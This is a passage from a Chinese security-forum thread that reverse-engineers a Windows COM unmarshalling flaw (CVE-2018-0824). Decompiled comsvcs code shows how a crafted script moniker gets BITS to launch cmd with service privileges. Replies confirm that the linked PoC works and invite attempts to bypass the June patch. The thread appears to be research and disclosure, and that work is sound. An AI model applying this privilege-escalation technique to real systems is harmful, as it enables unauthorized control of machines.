        L"Version");
      result = -2147467259;
    }
	//比较BuffIID和CLSID_QCMarshalInterceptor是否相同,如果相同执行 CMarshalInterceptor::CreateRecorde
    else if ( !memcmp(&CLSID_QCMarshalInterceptor, &Header_Clsid.my_Head.BuffIID, 0x10u) )
    {
      result = CMarshalInterceptor::CreateRecorder(pStm, clsidFrom, ppv);
    }
    else
    {
	//如果不相同根据BuffIID创建IPersistStream实例
      IPersistStreamPPvRet = 0;
      result = CoCreateInstance(
                 (const IID *const )&Header_Clsid.my_Head.BuffIID,
                 0,
                 0x417u,
                 &IID_IPersistStream,
                 (LPVOID *)&IPersistStreamPPvRet);
      if ( result >= 0 )
      {
	  
	  //调用IPersistStream实例Load方法,读取到最终结果UnmarshalInterface的ppv;
        v6 = ((int (__stdcall *)(IPersistStream *, LPSTREAM, void **))IPersistStreamPPvRet->_SelfMarshalVtbl->Load)(
               IPersistStreamPPvRet,
               pStm,
               ppvref);
        if ( v6 >= 0 )
		//看看读出的ppv是否支持UnmarshalInterface传入的clsid
          v6 = IPersistStreamPPvRet->_SelfMarshalVtbl->QueryInterface(
                 (IUnknown *)IPersistStreamPPvRet,
                 clsidFrom,
                 (IUnknown *)ppv);
        ((void (__cdecl *)(IPersistStream *))IPersistStreamPPvRet->_SelfMarshalVtbl->Release)(IPersistStreamPPvRet);
        result = v6;
      }
    }
  }
  return result;
}

如果之前比较相同调用CMarshalInterceptor::CreateRecorder里面根据 CVE-2018-0824原理反序列化出一个Moniker,具体原因是看逆向结果是:
HRESULT __stdcall CMarshalInterceptor::CreateRecorder(LPSTREAM pStm, const struct _GUID *a2, IMoniker **ppvFinal)
{
  HRESULT v3; // esi
  int v4; // eax
  const wchar_t *v5; // eax
  unsigned int v7; // [esp-8h] [ebp-5Ch]
  wchar_t *v8; // [esp-4h] [ebp-58h]
  HRESULT v9; // [esp+14h] [ebp-40h]
  __int16 v10; // [esp+18h] [ebp-3Ch]
  int v11; // [esp+1Ch] [ebp-38h]
  const wchar_t *v12; // [esp+20h] [ebp-34h]
  int v13; // [esp+24h] [ebp-30h]
  int v14; // [esp+28h] [ebp-2Ch]
  int v15; // [esp+2Ch] [ebp-28h]
  int v16; // [esp+30h] [ebp-24h]
  LPSTREAM streamRef; // [esp+34h] [ebp-20h]
  LPBC ppbc; // [esp+38h] [ebp-1Ch]
  IMoniker *ppvMonikerRet; // [esp+3Ch] [ebp-18h]
  CLSID pclsid; // [esp+40h] [ebp-14h]

  *ppvFinal = 0;
  pclsid.Data1 = 0;
  *(_DWORD *)&pclsid.Data2 = 0;
  *(_DWORD *)pclsid.Data4 = 0;
  *(_DWORD *)&pclsid.Data4[4] = 0;
  streamRef = pStm;
  ppvMonikerRet = 0;
  ppbc = 0;
  //从流中读出Moniker的GUID(pclsid))
  v3 = ReadClassStm(pStm, &pclsid);
  if ( v3 >= 0 )
  {
  //判断是GUID是不是复合的Moniker(CompositeMoniker的GUID)),如果是加载复合moniker不是加载当前moniker
    v4 = !memcmp(CLSID_CompositeMoniker, &pclsid, 0x10u) ? CMarshalInterceptor::LoadCompositeMoniker(
                                                             streamRef,
                                                             &ppvMonikerRet) : CMarshalInterceptor::LoadNonCompositeMoniker(
                                                                                 streamRef,
                                                                                 &pclsid,
                                                                                 (LPVOID *)&ppvMonikerRet);
    v3 = v4;
    if ( v4 >= 0 )
    {
      v3 = CreateBindCtx(0, &ppbc);
      if ( v3 >= 0 )
      {
	    读出moniker后并调用它的BindToObject方法,会启动moniker中的sct脚本
        v3 = ppvMonikerRet->lpVtbl->BindToObject(ppvMonikerRet, ppbc, 0, a2, (void **)ppvFinal);
        if ( v3 >= 0 )
          goto LABEL_11;
        v10 = 37;
        v5 = L"BindToObject";
        v8 = L"BindToObject";
        v11 = -1073605911;
        v7 = 832;
      }
      else
      {
        v10 = 37;
        v5 = L"CreateBindCtx";
        v8 = L"CreateBindCtx";
        v11 = -1073606062;
        v7 = 821;
      }
      v12 = v5;
      v9 = v3;
      v13 = 0;
      v14 = 0;
      v15 = 0;
      v16 = 1;
	  //失败记录日志
      CError::WriteToLog(
        (CError *)&v9,
        L"d:\\w7rtm\\com\\complus\\src\\comsvcs\\qc\\marshalinterceptor\\marshalinterceptor.cpp",
        v7,
        v8);
    }
  }
LABEL_11:
  if ( ppvMonikerRet )
  {
    ppvMonikerRet->lpVtbl->Release(ppvMonikerRet);
    ppvMonikerRet = 0;
  }
  if ( ppbc )
    ppbc->lpVtbl->Release(ppbc);
  return v3;
}

//如果是复合Moniker就直接从流中读出Moniker,需要读2次,原因具体看逆向结果
int __stdcall CMarshalInterceptor::LoadCompositeMoniker(LPSTREAM pStm, struct IMoniker **ppvMonikerRet)
{
  struct IMoniker **v2; // esi
  int result; // eax

  v2 = a2;
  *buff = 0;
  buff = 0;
  result = CMkUtil::Read(pStm, &buff, 4u);
  if ( result >= 0 )
  {
    如果读出的buff是02再次调用自身函数从流中读出ppvMonikerRet,这也就是流中要先写入02的原因
    if ( (unsigned int)buff >= 2 )
      result = CMarshalInterceptor::LoadAndCompose(pStm, (unsigned int)buff, ppvMonikerRet);
    else
      result = -2147418113;
  }
  return result;
}
如果不是复合Moniker就调用LoadNonCompositeMoniker就是通过moniker的CLSID创建一个新的moniker,逆向结果
HRESULT __stdcall CMarshalInterceptor::LoadNonCompositeMoniker(struct IStream *a1, IID *rclsid, LPVOID *ppv)
{
  HRESULT result; // eax
//调用CoCreateInstance创建一个新的monike
  result = CoCreateInstance(rclsid, 0, 0x415u, &IID_IMoniker, ppv);
  if ( result >= 0 )
    result = (*(int (__stdcall **)(LPVOID, struct IStream *))(*(_DWORD *)*ppv + 20))(*ppv, a1);
  return result;
}
!!最后触发最终结果的原因是 v3 = ppvMonikerRet->lpVtbl->BindToObject(ppvMonikerRet, ppbc, 0, a2, (void **)ppvFinal);
这个ppvMonikerRet就是我poc中创建的Moniker,它有一个Displayname,也就是我poc生成的sct文件,即script:xxx.sct,bits然后调用它的BindToObject方法会加载windows中scrobj.dll生成scriptmoniker并执行sct脚本,最终以bits自身权限启动一个cmd,如图,

另外说明,我的方法对于支持自定义marshal的任意com远程对象适用,请读者自行研究,poc源码可在vs2013下编译
由于最新6月补丁在CMarshalInterceptor::UnmarshalInterface加入了验证判断需要验证tls所以直接返回错误,如果有读者发现绕过方法可以联系我

备注:
如果你对我研究感兴趣,可以联系我邮箱cbwang505@hotmail.com,一起来研究com组件的安全性方面问题


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (13)
雪    币: 4341
活跃值: 活跃值 (2290)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
王cb 活跃值 6 2018-6-25 22:50
2
0
最新的6月补丁加入了这么一段
if  (  !*(_BYTE  *)(*(_QWORD  *)(__readgsqword(0x58u)  +  8i64  *  (unsigned  int)tls_index)  +  1i64)  )
    {
        v8  =  -2147024891;
        v9  =  L"PlayerUnmarshaling";
        v21  =  0i64;
        v22  =  0i64;
        v10  =  567;
LABEL_21:
        v17  =  v8;
        v19  =  -1073605911;
        v20  =  v9;
        v18  =  37;
        v23  =  0;
        v24  =  1;
        CError::WriteToLog(
            (CError  *)&v17,
            L"d:\\w7rtm\\com\\complus\\src\\comsvcs\\qc\\marshalinterceptor\\marshalinterceptor.cpp",
            v10,
            v9);
        return  v8;
    }
雪    币: 849
活跃值: 活跃值 (261)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
CrackMe 活跃值 2018-6-25 22:53
3
0
学习学习!
雪    币: 4341
活跃值: 活跃值 (2290)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
王cb 活跃值 6 2018-6-26 09:09
4
0
如果poc无法运行可能是被其他软件注册了不同的sct脚本打开配置,window是默认配置在注册表HKEY_CLASSES_ROOT\.sct路径,里面(默认)=scriptletfile,Content  Type=text/scriptlet就能正常运行poc,如果还是不行请运行bitsadmin  /reset  /allusers命令清除bits服务缓存
雪    币: 4341
活跃值: 活跃值 (2290)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
王cb 活跃值 6 2018-6-26 11:50
5
0
代码托管在https://gitee.com/cbwang505/ComPoc欢迎fork
雪    币: 8668
活跃值: 活跃值 (1099)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2018-6-26 12:48
6
0
可惜不是首发POC,最初的是https://github.com/codewhitesec/UnmarshalPwn
雪    币: 445
活跃值: 活跃值 (1335)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakasasa 活跃值 2018-6-26 16:22
7
0
win7  64  旗舰版  测试  需要加载oci.dll,遍历目录都没有找到,导致测试失败.
oci.dll是开启系统什么功能而有的,知道的麻烦告知一下.
雪    币: 445
活跃值: 活跃值 (1335)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakasasa 活跃值 2018-6-26 16:35
8
0
oci等其他dll不影响,开始失败的原因是中文路径..汗一个.
测试成功.感谢分享.
最后于 2018-6-26 17:17 被kakasasa编辑 ,原因:
雪    币: 4341
活跃值: 活跃值 (2290)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
王cb 活跃值 6 2018-6-26 16:45
9
0
oci不影响的,poc无法运行可能是被其他软件注册了不同的sct脚本打开配置,window是默认配置在注册表HKEY_CLASSES_ROOT\.sct路径,里面(默认)=scriptletfile,Content    Type=text/scriptlet就能正常运行poc已检查一下,不行的话processexp自己跟一下
雪    币: 114
活跃值: 活跃值 (275)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
真难取 活跃值 2018-7-14 08:45
10
0
防范策略:自己精简系统,彻底删除BITS服务组件。
雪    币: 4341
活跃值: 活跃值 (2290)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
王cb 活跃值 6 2018-7-20 08:58
11
0
windowsupdate本身就依赖bits服务下载更新包,如果你要删我不反对
雪    币: 114
活跃值: 活跃值 (275)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
真难取 活跃值 2018-7-22 15:47
12
0
王cb windowsupdate本身就依赖bits服务下载更新包,如果你要删我不反对
BITS服务是WU相关的,描述里写的很清楚了,我当然知道。但WU不好用,不需要实时更新,以免引入新的BUG。现在的Win10只需要每隔几个月下载新的ISO重装就很好了。
雪    币: 65
活跃值: 活跃值 (58)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
放牛郎 活跃值 2018-8-22 13:35
13
0
https://github.com/ohpe/juicy-potato/   楼主看看这个
雪    币: 4341
活跃值: 活跃值 (2290)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
王cb 活跃值 6 2018-8-23 10:38
14
0
谢谢
游客
登录 | 注册 方可回帖
返回